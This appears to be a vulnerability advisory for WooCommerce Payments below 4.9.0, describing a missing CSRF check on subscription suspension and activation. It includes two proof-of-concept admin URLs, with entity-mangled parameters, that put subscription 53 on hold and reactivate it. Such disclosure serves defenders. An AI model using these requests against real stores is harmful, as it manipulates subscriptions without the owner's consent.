WooCommerce Payments < 4.9.0 - Subscription Suspension/Activation via CSRF

Description The plugin does not have CSRF check when suspending and activating subscriptions, which could allow attackers to make a logged in admin suspend or activate arbitrary subscription via a CSRF attack

PoC

Deactivate subscription with ID 53: https://example.com/wp-admin/edit.php?s=&amp;post;_status=all&amp;post;_type=shop_subscription&_wpnonce=&_wp_http_referer=&amp;action;=on-hold&amp;m;=0&_wcs_product=&_payment_method=&_customer_user=&amp;paged;=1&amp;post;[]=53&amp;action2;=on-hold Activate subscription with ID 53: https://example.com/wp-admin/edit.php?post_type=shop_subscription&amp;marked;_on-hold=1&amp;changed;=1&amp;ids;=53&amp;post;=53&_wpnonce=&amp;action;=active